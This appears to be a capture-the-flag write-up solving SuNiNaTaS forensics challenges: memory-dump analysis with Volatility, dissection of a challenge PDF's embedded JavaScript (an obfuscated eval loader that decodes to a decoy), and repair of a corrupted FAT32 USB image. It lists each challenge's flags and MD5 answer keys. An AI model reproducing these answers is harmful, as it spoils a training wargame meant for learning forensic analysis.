...
1
2
3
4
5
6
7
8
9
[root@kita233 24052016 #training]# cat z1.dat | head

���� 4:31:48 19

���� 4:37:57 How did you know pAsS\orD? Wow... Kee22 ls "blackkey is a Good man"

���� 4:38:58 notepd

���� 4:44:13 pa
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Q1 : 当您浏览“www.naver.com”时,Web 浏览器显示错误。修复它,你就可以找到一把钥匙

# C0ngr4tur4ti0ns!! This is a Keeeeeeeeeeey : what_the_he11_1s_keey
# what_the_he11_1s_keey

Q2:安装的键盘记录器的位置和文件名(所有字符均为小写)
- 例如)c:\windows\notepad.exe

# 1556 v1tvr0.exe "C:\v196vv8\v1tvr0.exe"
# c:\v196vv8\v1tvr0.exe

Q3:键盘记录器的下载时间
- 例如) 2016-05-27_22:00:00 (yyyy-mm-dd_hh:mm:ss)

URL Visited: training@http://192.168.163.1/files/pc-spy-2010-keylogger-surveillance-spy-3.exe 05/24/2016 03:25:06 05/24/2016 03:25:06
# need to change time zone to UTC +9, now is UTC +8
2016-05-24_04:25:06

Q4:键盘记录器检测并保存了什么?有一把钥匙

# ���� 4:37:57 How did you know pAsS\orD? Wow... Kee22 ls "blackkey is a Good man"
# blackkey is a Good man

Auth Key = 小写(MD5(Q1的密钥+Q2的答案+Q3的答案+Q4的密钥))

what_the_he11_1s_keeyc:\v196vv8\v1tvr0.exe2016-05-24_04:25:06blackkey is a Good man

use cyberchef btw md5
970f891e3667fce147b222cc9a8699d4

Game 30

one of the most interesting game, be sure to try it first.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
General Kim's PC was hacked by Hacker
Here is a Memory Dump at that time, You should find what Hacker did

Q1 : IP Address of General Kim's PC
Q2 : Which secret document did Haker read?
Q3 : What is content of secret document? There is a "Key"

Auth Key = lowercase(MD5(Answer of Q1+Answer of Q2+Key of Q3))

金将军的电脑被黑客入侵了。
以下是当时的内存转储文件,你应该能从中找出黑客的操作。
问题1:金将军电脑的IP地址
问题2:黑客读取了哪份秘密文件?
问题3:秘密文件的内容是什么?其中包含一个“密钥”。
认证密钥 = lowercase(MD5(问题1的答案+问题2的答案+问题3的密钥))
1
2
❯ file 'MemoryDump(SuNiNaTaS)'
MemoryDump(SuNiNaTaS): data

use volatility3 btw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
❯ vol -f 'MemoryDump(SuNiNaTaS)' -s ~/ctf/symbolTables windows.info
Volatility 3 Framework 2.27.0
Progress: 100.00 PDB scanning finished
Variable Value

Kernel Base 0x82e43000
DTB 0x185000
Symbols file:///home/kita/ctf/symbolTables/windows/ntkrpamp.pdb/5D0FE9918B274161A7ECA7C0D056BDF6-2.json.xz
Is64Bit False
IsPAE True
layer_name 0 WindowsIntelPAE
memory_layer 1 FileLayer
KdDebuggerDataBlock 0x82f6cc28
NTBuildLab 7601.18044.x86fre.win7sp1_gdr.13
CSDVersion 1
KdVersionBlock 0x82f6cc00
Major/Minor 15.7601
MachineType 332
KeNumberProcessors 1
SystemTime 2016-05-24 09:47:40+00:00
NtSystemRoot C:\Windows
NtProductType NtProductWinNt
NtMajorVersion 6
NtMinorVersion 1
PE MajorOperatingSystemVersion 6
PE MinorOperatingSystemVersion 1
PE Machine 332
PE TimeDateStamp Sat Jan 5 02:46:00 2013

❯ vol -f 'MemoryDump(SuNiNaTaS)' -s ~/ctf/symbolTables windows.netscan
Volatility 3 Framework 2.27.0
Progress: 100.00 PDB scanning finished
Offset Proto LocalAddr LocalPort ForeignAddr ForeignPort State PID Owner Created

...
0x3f270450 TCPv4 192.168.197.138 139 0.0.0.0 0 LISTENING 4 System N/A
0x3f270768 UDPv4 192.168.197.138 137 * 0 4 System 2016-05-24 09:22:27.000000 UTC
0x3fdd5620 TCPv4 192.168.197.138 49248 113.29.189.142 80 ESTABLISHED - - -

ip seem to be 192.168.197.138

1
2
3
4
5
6
7
8
9
10
❯ vol -f 'MemoryDump(SuNiNaTaS)' -s ~/ctf/symbolTables windows.cmdline
Volatility 3 Framework 2.27.0
Progress: 100.00 PDB scanning finished
PID Process Args

4 System -
...
1640 v1tvr0.exe "C:\v196vv8\v1tvr0.exe"
3728 notepad.exe notepad C:\Users\training\Desktop\SecreetDocumen7.txt
...

file named SecreetDocumen7.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ vol -f 'MemoryDump(SuNiNaTaS)' -s ~/ctf/symbolTables windows.filescan | grep "SecreetDocumen7.txt"
0x3df2ddd8 100.0\Users\training\Desktop\SecreetDocumen7.txt

❯ vol -f 'MemoryDump(SuNiNaTaS)' -s ~/ctf/symbolTables windows.dumpfiles --phy 0x3df2ddd8
Volatility 3 Framework 2.27.0
Progress: 100.00 PDB scanning finished
Cache FileObject FileName Result

DataSectionObject 0x3df2ddd8 SecreetDocumen7.txt file.0x3df2ddd8.0x85d7d150.DataSectionObject.SecreetDocumen7.txt.dat

❯ xxd file.0x3df2ddd8.0x85d7d150.DataSectionObject.SecreetDocumen7.txt.dat
00000000: 4865 6c6c 6f2c 204e 6963 6520 746f 206d Hello, Nice to m
00000010: 6565 7420 796f 752e 0d0a 446f 2079 6f75 eet you...Do you
00000020: 2077 616e 6e61 2067 6574 2061 204b 6579 wanna get a Key
00000030: 3f0d 0a48 6572 6520 6973 2074 6865 204b ?..Here is the K
00000040: 6579 2079 6f75 2077 616e 742e 0d0a 4b65 ey you want...Ke
00000050: 7920 6973 2022 3472 6d79 5f34 6972 666f y is "4rmy_4irfo
00000060: 7263 655f 4e34 7679 2200 0000 0000 0000 rce_N4vy".......
...

content of secret document is 4rmy_4irforce_N4vy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
金将军的电脑被黑客入侵了。
以下是当时的内存转储文件,你应该能从中找出黑客的操作。
问题1:金将军电脑的IP地址
192.168.197.138

问题2:黑客读取了哪份秘密文件?

SecreetDocumen7.txt


问题3:秘密文件的内容是什么?其中包含一个“密钥”。

4rmy_4irforce_N4vy

认证密钥 = lowercase(MD5(问题1的答案+问题2的答案+问题3的密钥))

192.168.197.138SecreetDocumen7.txt4rmy_4irforce_N4vy

use cyberchef btw md5
c152e3fb5a6882563231b00f21a8ed5f

Game 31

1
2
3
* Info : This PDF file don't attack your PC. Just using for study.
Analyze this PDF and Find a Flag.
Auth Key = lowercase(MD5(Flag))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
❯ pdfid Hello_SuNiNaTaS.pdf
PDFiD 0.2.10 Hello_SuNiNaTaS.pdf
PDF Header: %PDF-1.4
obj 40
endobj 40
stream 11
endstream 11
xref 2
trailer 2
startxref 2
/Page 1
/Encrypt 0
/ObjStm 0
/JS 1 <-
/JavaScript 2 <-
/AA 0
/OpenAction 0
/AcroForm 0
/JBIG2Decode 0
/RichMedia 0
/Launch 0
/EmbeddedFile 0 <-
/XFA 0
/Colors > 2^24 0

❯ pdf-parser -h
Options:
-s SEARCH, --search=SEARCH
string to search in indirect objects (except streams)
-f, --filter pass stream object through filters (FlateDecode,
ASCIIHexDecode, ASCII85Decode, LZWDecode and
RunLengthDecode only)
-o OBJECT, --object=OBJECT
id(s) of indirect object(s) to select, use comma (,)
to separate ids (version independent)
-w, --raw raw output for data and filters
...


❯ pdf-parser -s JavaScript Hello_SuNiNaTaS.pdf
This program has not been tested with this version of Python (3.14.2)
Should you encounter problems, please use Python version 3.12.2
obj 30 0
Type:
Referencing: 31 0 R, 38 0 R

<<
/JavaScript 31 0 R <-
/EmbeddedFiles 38 0 R <- not scan in pdfid, but exist in pdf-parser, this is a nest object
>>

obj 36 0
Type:
Referencing:

❯ pdf-parser -o 38 Hello_SuNiNaTaS.pdf
This program has not been tested with this version of Python (3.14.2)
Should you encounter problems, please use Python version 3.12.2
obj 38 0
Type:
Referencing: 40 0 R

<<
/Names
<<
/UF (object 2)
/F (object 2)
/Type /Filespec
/EF 40 0 R
>>
]
>>

❯ pdf-parser -o 39 -f -d nested.pdf Hello_SuNiNaTaS.pdf
This program has not been tested with this version of Python (3.14.2)
Should you encounter problems, please use Python version 3.12.2
obj 39 0
Type:
Referencing:
Contains stream <-

<<
/Subtype /a
/Filter /FlateDecode
/Length 565
/DL 823
/Params
<<
/Size 823
/ModDate (D:20160525212830Z)
/CreationDate (D:20160525213559Z)
>>
>>

❯ file nested.pdf
nested.pdf: PDF document, version 1.7, 1 page(s)

❯ pdfid nested.pdf
PDFiD 0.2.10 nested.pdf
PDF Header: %PDF-1.7
obj 5
endobj 5
stream 1
endstream 1
xref 1
trailer 1
startxref 1
/Page 1
/Encrypt 1 <-!!
/ObjStm 0
/JS 1 <-
/JavaScript 1 <-
/AA 0
/OpenAction 1 <-
/AcroForm 0
/JBIG2Decode 0
/RichMedia 0
/Launch 0
/EmbeddedFile 0
/XFA 0
/Colors > 2^24 0

~/Downloads took 3s
❯ qpdf --decrypt nested.pdf decrypted.pdf
❯ pdfid decrypted.pdf
PDFiD 0.2.10 decrypted.pdf
PDF Header: %PDF-1.7
obj 5
endobj 5
stream 1
endstream 1
xref 1
trailer 1
startxref 1
/Page 1
/Encrypt 0
/ObjStm 0
/JS 1
/JavaScript 1
/AA 0
/OpenAction 1
/AcroForm 0
/JBIG2Decode 0
/RichMedia 0
/Launch 0
/EmbeddedFile 0
/XFA 0
/Colors > 2^24 0

❯ pdf-parser -s js decrypted.pdf
This program has not been tested with this version of Python (3.14.2)
Should you encounter problems, please use Python version 3.12.2
obj 2 0
Type: /Action
Referencing: 4 0 R

<<
/JS 4 0 R <- Object 4 is a stream object
/S /JavaScript
/Type /Action
>>

❯ pdf-parser -o 4 decrypted.pdf
This program has not been tested with this version of Python (3.14.2)
Should you encounter problems, please use Python version 3.12.2
obj 4 0
Type:
Referencing:
Contains stream

<<
/Filter /FlateDecode
/Length 45
>>

❯ pdf-parser -o 4 -f -d dump decrypted.pdf

cat dump
"HERE IS FLAGS *********************"# omg flag is here, don't forget to md5 it
SunINatAsGOodWeLL!@#$

other way to waste time

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
~/Downloads
❯ pdf-parser -o 35 -f -w Hello_SuNiNaTaS.pdf
This program has not been tested with this version of Python (3.14.2)
Should you encounter problems, please use Python version 3.12.2
obj 35 0
Type:
Referencing: 36 0 R, 37 0 R
<</S 36 0 R/JS 37 0 R>>

<<
/S 36 0 R
/JS 37 0 R
>>

<</S 36 0 R/JS 37 0 R>>


~/Downloads
❯ pdf-parser -o 37 -f -w Hello_SuNiNaTaS.pdf
This program has not been tested with this version of Python (3.14.2)
Should you encounter problems, please use Python version 3.12.2
obj 37 0
Type:
Referencing: 1 4 R
Contains stream

<<
/Length 5220
>>

No filters


~/Downloads
❯ pdf-parser -o 37 -d payload.js Hello_SuNiNaTaS.pdf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
var Base64 = {
_keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
decode: function (input) {
for (var ah = 0; ah < input.length; ah++) {
input = input.replace("'+'", "");
}
var rlLwarzv = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
while (i < input.length) {
enc1 = this._keyStr.indexOf(input.charAt(i++));
enc2 = this._keyStr.indexOf(input.charAt(i++));
enc3 = this._keyStr.indexOf(input.charAt(i++));
enc4 = this._keyStr.indexOf(input.charAt(i++));
chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
rlLwarzv = rlLwarzv + String.fromCharCode(chr1);
if (enc3 != 64) {
rlLwarzv = rlLwarzv + String.fromCharCode(chr2);
}
if (enc4 != 64) {
rlLwarzv = rlLwarzv + String.fromCharCode(chr3);
}
}
eval(rlLwarzv);
},
};
Base64.decode(
"'Vm0'+'wd2Qy'+'UXlW'+'a1pP'+'VldS'+'WFYw'+'ZG9WV'+'ll3W'+'kc5V'+'01Wb'+'DNXa2'+'M1VjF'+'Kc2JET'+'lhhMU'+'pUV'+'mpGS'+'2RHVk'+'dX'+'bFpOY'+'WtFe'+'FZtc'+'EdZV'+'1JIV'+'mtsa'+'QpSb'+'VJPW'+'W14R'+'00x'+'WnR'+'NWH'+'BsU'+'m1S'+'SVZ'+'tdF'+'dVZ'+'3Bp'+'Umx'+'wd1'+'ZXM'+'TRkM'+'VZX'+'WkZ'+'kYV'+'JGS'+'lVU'+'V3N'+'4Tk'+'ZaS'+'E5V'+'OVhR'+'WEJ'+'wVW'+'01Q'+'1dW'+'ZHNa'+'RFJa'+'ClYx'+'WlhWM'+'jVLVm1'+'FeVVtR'+'ldh'+'a1p'+'MVj'+'BaV'+'2RF'+'NVZ'+'PV2'+'hSV'+'0VK'+'VVd'+'XeG'+'FTM'+'VpX'+'V2t'+'kVm'+'EwN'+'VVD'+'azF'+'XV2'+'xoV'+'01X'+'aHZ'+'WMG'+'RLU'+'jJO'+'SVR'+'sWm'+'kKV'+'0do'+'NlZ'+'HeG'+'FZV'+'k5I'+'VWt'+'oU2'+'JXa'+'FdW'+'MFZ'+'LVl'+'ZkW'+'E1U'+'QlR'+'NV1'+'JYV'+'jI1'+'U2Fs'+'SllV'+'bkJEY'+'XpGV1'+'kwWm'+'9XR0'+'V4Y'+'0hK'+'V01'+'uTjN'+'aVmR'+'HUjJ'+'GRwp'+'WbGN'+'LWW'+'toQm'+'VsZH'+'NaR'+'FJa'+'Vms1'+'R1R'+'sWm'+'tZV'+'kp1U'+'WxkV'+'01GW'+'kxWb'+'FprV'+'0Ux'+'VVF'+'sUk'+'5WbH'+'BJVm'+'pKMG'+'ExZH'+'RWbk'+'pYYm'+'tKRV'+'lYcE'+'dWMW'+'t3Cl'+'dtOV'+'hSMF'+'Y1WV'+'VWN'+'FYw'+'MUh'+'Va3'+'hXT'+'VZw'+'WFl'+'6Rm'+'Fjd3'+'BqUj'+'J0T'+'FZXM'+'DFRM'+'kl4W'+'khOY'+'VJGS'+'mFWa'+'kZLU'+'1ZadG'+'RHOV'+'ZSbH'+'AxV'+'Vd4'+'a1Y'+'wMU'+'cKV'+'2t4'+'V2J'+'GcH'+'JWMG'+'RTU'+'jFw'+'SGR'+'FNV'+'diS'+'EJK'+'Vmp'+'KMF'+'lXS'+'XlS'+'WGh'+'UV0'+'dSW'+'Vlt'+'dGF'+'SVm'+'xzV'+'m5k'+'WFJ'+'sbD'+'VDb'+'VJI'+'T1Z'+'oU0'+'1GW'+'TFX'+'VlZ'+'hVT'+'FZeA'+'pTWH'+'BoU0'+'VwV1'+'lsaE'+'5lRl'+'pxUm'+'xkam'+'QzQn'+'FVak'+'owVE'+'ZaWE'+'1UUm'+'tNa'+'2w0'+'VjJ'+'4a1'+'ZtR'+'XlV'+'bGh'+'VVm'+'xae'+'lRr'+'WmF'+'kR1'+'ZJV'+'Gxw'+'V2E'+'zQj'+'VWa'+'ko0'+'CmE'+'xWX'+'lTb'+'lVL'+'VVc'+'1V1'+'ZXS'+'kZW'+'VFZ'+'WUm'+'tVN'+'VVG'+'RTl'+'QUT'+'09'",
);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# in vim
# :set nobomb
# :set fileencoding=utf-8
# :wq

❯ node payload.js
Decoded content:
Vm0wd2QyVkZOVWRXV0doVVYwZG9WMVl3Wkc5V1JsbDNXa1JTVjFKdGVGWlZNakExVmpGYWRHVkli
RmROYmxGM1ZtMXplRmRIVmtWUgpiRlpwVW14d1VWZFdaRFJUTWsxNFZHNU9XQXBpUm5CWVdsZDRZ
V1ZXV25KVmEyUmFWakZLV0ZWdE5VOWhRWEJUWWxaS1ZWWkdVa05UCk1WWlhWMWhvV0dKR2NITlZi
WGh6VGxaYVNHUkhSbWhWV0VKVVdXMTBTMWRXV25SalJYUnBDazFWY0ZoWGExcHJWMnN3ZVdGR2FG
VlcKYkhBeldsZDRZVk5GTlZkYVJuQldWMFZLVlZkWE1UQlRNVlpIVjJ0a1dtVnJXbkJEYXpGV1kw
Wm9XR0V5YUV4V01HUkxWMVpXYzFacwpjR2tLVW01Q2IxZHNaRFJaVjFKSVZtdG9VRlp1UWxkV01G
WkxWbFprV0dSR1pHdE5WbHBJVjJ0YWIyRXhTWGRYYmtaRVlsVndXRll5CmRHOVhSMFY1WVVaU1Yx
SXphSEpWYlhNeFZqRldjd3BqUjJ0TFZXMTRkMkl4V2xkVmEyUlhUVlZzTkZadGVITlpWa3B5VjJ4
a1YySnUKUW5WVWJFVTVVRkU5UFE9PQ==

# 10 times of base64 decode

I am sorry, This is not Key~!!

Game 32

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
You got a USB image of terrorist from the National Police Agency.
A beginner made a USB image wrong, So your PC couldn't recognize it.

You should fix a USB image and prevent next terror.
Q1 : What is modified date/time of the file which contains next terror plan. (UTC+9)
Q2 : Where is the next terror target.

Auth Key = lowercase(MD5(YYYY-MM-DD_HH:MM:SS_place)

example) lowercase(MD5(2016-03-28_13:00:00_Pink Lake)

您从国家警察厅收到了一份恐怖分子的U盘镜像。
由于新手制作的U盘镜像有误,您的电脑无法识别。
您需要修复U盘镜像,以防止下一次恐怖袭击。
问题1:包含下一次恐怖袭击计划的文件的修改日期/时间是什么?(UTC+9)
问题2:下一次恐怖袭击的目标地点在哪里?
授权密钥 = lowercase(MD5(YYYY-MM-DD_HH:MM:SS_place)
示例) lowercase(MD5(2016-03-28_13:00:00_Pink Lake)
1
2
3
4
5
6
7
❯ file 'USB_Image(SuNiNaTaS)'
USB_Image(SuNiNaTaS): DOS/MBR boot sector, code offset 0x58+2, OEM-ID "MSDOS5.0", sectors/cluster 8, reserved sectors 4480, Media descriptor 0xf8, sectors/track 63, heads 255, hidden sectors 2, sectors 1908096 (volumes > 32 MB), FAT (32 bit), sectors/FAT 1856, serial number 0xde96e00a, unlabeled

# use sleuthkit to check the file system type
❯ fsstat -f fat32 usb
Invalid magic value (Error: sector size (4352) is not a multiple of device size (512)
Do you have a disk image instead of a partition image?)

info from forensics.wiki

FAT32 FSInfo 扇区结构 (FSInfo Sector Structure)

字段名称 (Name) 偏移量 (Offset) 大小 (Size) 描述 (Description)
FSI_LeadSig 0 4 Bytes 引导签名:固定值 0x41615252。用于校验这确实是一个 FSInfo 扇区。
FSI_Reserved1 4 480 Bytes 保留字段 1:为未来扩展预留。格式化时应初始化为 0。目前绝对不准使用。
FSI_StrucSig 484 4 Bytes 结构签名:固定值 0x61417272。更靠近实际数据字段的局部校验签名。
FSI_Free_Count 488 4 Bytes 空闲簇计数:记录卷上最后一次已知的空闲簇数量。若为 0xFFFFFFFF,表示未知,必须重新计算。
FSI_Nxt_Free 492 4 Bytes 下个空闲簇提示:驱动程序寻找空闲簇的起始位置。若为 0xFFFFFFFF,驱动应从 Cluster 2 开始搜索。
FSI_Reserved2 496 12 Bytes 保留字段 2:同样为扩展预留,初始化必须为 0。
FSI_TrailSig 508 4 Bytes 尾部签名:固定值 0xAA550000。注意高 2 字节(偏移 510-511)与扇区 0 的签名一致。

remember the little endian

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
~/Downloads
❯ xxd usb | head -n 70
00000000: eb58 904d 5344 4f53 352e 3000 0208 8011 .X.MSDOS5.0.....
00000010: 0200 0000 00f8 0000 3f00 ff00 0200 0000 ........?.......
00000020: 801d 1d00 4007 0000 0000 0000 0200 0000 ....@...........
00000030: 0100 0600 0000 0000 0000 0000 0000 0000 ................
00000040: 8000 290a e096 de4e 4f20 4e41 4d45 2020 ..)....NO NAME
00000050: 2020 4641 5433 3220 2020 33c9 8ed1 bcf4 FAT32 3.....
00000060: 7b8e c18e d9bd 007c 884e 028a 5640 b441 {......|.N..V@.A
00000070: bbaa 55cd 1372 1081 fb55 aa75 0af6 c101 ..U..r...U.u....
00000080: 7405 fe46 02eb ff81 c300 0266 4049 7594 t..F.......f@Iu.
00000090: c342 4f4f 544d 4752 2020 2020 0000 0000 .BOOTMGR ....
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000000b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000000c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000000d0: 0000 0000 0d0a 5265 6d6f 7665 2064 6973 ......Remove dis
000000e0: 6b73 206f 7220 6f74 6865 7220 6d65 6469 ks or other medi
000000f0: 612e ff0d 0a44 6973 6b20 6572 726f 72ff a....Disk error.
00000100: 0d0a 5072 6573 7320 616e 7920 6b65 7920 ..Press any key
00000110: 746f 2072 6573 7461 7274 0d0a 0000 0000 to restart......
00000120: 00ac cbd8 0000 55aa 5252 6141 0000 0000 ......U.RRaA....
...

use imhex btw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
insert 0x00 until 0x55AA at 0x1fe - 0x1ff(right menu -> Insert)

❯ xxd USB_Image\(SuNiNaTaS\) | head -n 70
00000000: eb58 904d 5344 4f53 352e 3000 0208 8011 .X.MSDOS5.0.....
00000010: 0200 0000 00f8 0000 3f00 ff00 0200 0000 ........?.......
00000020: 801d 1d00 4007 0000 0000 0000 0200 0000 ....@...........
00000030: 0100 0600 0000 0000 0000 0000 0000 0000 ................
00000040: 8000 290a e096 de4e 4f20 4e41 4d45 2020 ..)....NO NAME
00000050: 2020 4641 5433 3220 2020 33c9 8ed1 bcf4 FAT32 3.....
00000060: 7b8e c18e d9bd 007c 884e 028a 5640 b441 {......|.N..V@.A
00000070: bbaa 55cd 1372 1081 fb55 aa75 0af6 c101 ..U..r...U.u....
00000080: 7405 fe46 02eb ff81 c300 0266 4049 7594 t..F.......f@Iu.
00000090: c342 4f4f 544d 4752 2020 2020 0000 0000 .BOOTMGR ....
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000000b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000000c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000000d0: 0000 0000 0d0a 5265 6d6f 7665 2064 6973 ......Remove dis
000000e0: 6b73 206f 7220 6f74 6865 7220 6d65 6469 ks or other medi
000000f0: 612e ff0d 0a44 6973 6b20 6572 726f 72ff a....Disk error.
00000100: 0d0a 5072 6573 7320 616e 7920 6b65 7920 ..Press any key
00000110: 746f 2072 6573 7461 7274 0d0a 0000 0000 to restart......
00000120: 00ac cbd8 0000 0000 0000 0000 0000 0000 ................
00000130: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000140: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000150: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000160: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000170: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000180: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000190: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000001a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000001b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000001c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000001d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000001e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000001f0: 0000 0000 0000 0000 0000 0000 0000 55aa ..............U.
00000200: 5252 6141 0000 0000 0000 0000 0000 0000 RRaA............

❯ fsstat -f fat32 USB_Image\(SuNiNaTaS\)
FILE SYSTEM INFORMATION
--------------------------------------------
File System Type: FAT32

OEM Name: MSDOS5.0
Volume ID: 0xde96e00a
Volume Label (Boot Sector): NO NAME
Volume Label (Root Directory): NO NAME
File System Type Label: FAT32
Next Free Sector (FS Info): 17568
Free Sector Count (FS Info): 1890528
...

fat32 is ok

use sleuthkit btw

1
2
3
4
5
6
7
8
9
10
11
❯ fls -r -p USB_Image\(SuNiNaTaS\) | grep -v "Orphan"
...
r/r 15: Terrorism Report-2013-North Korea.pdf
r/r 19: Terrorism Report-2013-South Korea.pdf
...

❯ icat USB_Image\(SuNiNaTaS\) 15 > "Terrorism Report-2013-North Korea.pdf"
❯ icat USB_Image\(SuNiNaTaS\) 19 > "Terrorism Report-2013-South Korea.pdf"

# get nothing here
❯ icat USB_Image\(SuNiNaTaS\) 11 > tero.hwp

translate 2차 테러 계획.hwp to r/r 11:第二恐怖分子计划.hwp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ icat USB_Image\(SuNiNaTaS\) 11 > tero.hwp

❯ istat USB_Image\(SuNiNaTaS\) 11
Directory Entry: 11
Allocated
File Attributes: File, Archive
Size: 9728
Name: 2^^^^~1.HWP

Directory Entry Times:
Written: 2016-05-30 02:44:02 (CST) <-
Accessed: 2016-05-30 00:00:00 (CST)
Created: 2016-05-30 02:50:41 (CST)

Sectors:
17368 17369 17370 17371 17372 17373 17374 17375
17376 17377 17378 17379 17380 17381 17382 17383
17384 17385 17386 17387 0 0 0 0

An HWP file (Hangul Word Processor) is a proprietary document format developed by Hancom Inc. used primarily in South Korea. It is the standard word processing format for Korean government, academic, and business documents, akin to Microsoft Word’s .docx but designed for the Hangul script.

Opening HWP and HWPX files requires special file readers capable of handling these formats. Due to their specificity, few Word editors are capable of doing so. Among them, there are accessible solutions such as ONLYOFFICE Desktop Editors — with its latest version 8.3, working with these files has become easier.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
2차 테러 계획


일 자 2016 – 07 – 15
시 간 09 : 00 : 00
장 소 Rose Park

# translate
第二份恐怖袭击计划

日期:2016年7月15日

时间:上午9:00

地点:罗斯公园
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
您从国家警察厅收到了一份恐怖分子的U盘镜像。
由于新手制作的U盘镜像有误,您的电脑无法识别。
您需要修复U盘镜像,以防止下一次恐怖袭击。
问题1:包含下一次恐怖袭击计划的文件的修改日期/时间是什么?(UTC+9)

2016-05-30 11:44:02 ???

问题2:下一次恐怖袭击的目标地点在哪里?

Rose Park

授权密钥 = lowercase(MD5(YYYY-MM-DD_HH:MM:SS_place)
示例) lowercase(MD5(2016-03-28_13:00:00_Pink Lake)

2016-05-30_11:44:02_Rose Park
8ce84f2f0568e3c70665167d44e53c2a